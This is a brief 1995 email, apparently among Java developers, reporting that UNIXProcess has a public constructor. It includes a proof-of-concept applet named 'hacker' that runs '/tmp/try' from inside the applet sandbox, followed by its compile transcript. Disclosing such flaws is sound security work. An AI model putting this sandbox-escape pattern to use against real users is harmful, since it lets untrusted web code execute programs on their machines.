UNIXProcess has a public constructor

From pavani@scndprsn Tue Oct 10 10:57:11 1995
From: pavani@scndprsn (Pavani Diwanji)
To: avh@jakarta
Subject: Re: fork and exec and security

> I tried this and I was not able to compile the applet because I
> don't have access to the constructor. How did you compile it?

It was easy:

115_cat hacker.java
import java.awt.*;
import java.applet.*;
import java.io.*;
import java.lang.*;

public
class hacker extends Applet {
    public void start() {
        String args[] = new String[1];
args[0] = "/tmp/try";
        UNIXProcess p = new UNIXProcess(args);
// p = Runtime.getRuntime().exec(args);
    }
    public String getAppletInfo() {
return "hacker by Pavani";
    }
}
116_!javac
javac hacker.java
hacker.java:11: Warning: Exception java.io.IOException must be caught, or it must be declared in throws clause of this method.
        UNIXProcess p = new UNIXProcess(args);
                        ^
1 warning
117_which javac
/home/pavani/java/workspaces/newjava/build/bin/javac
118_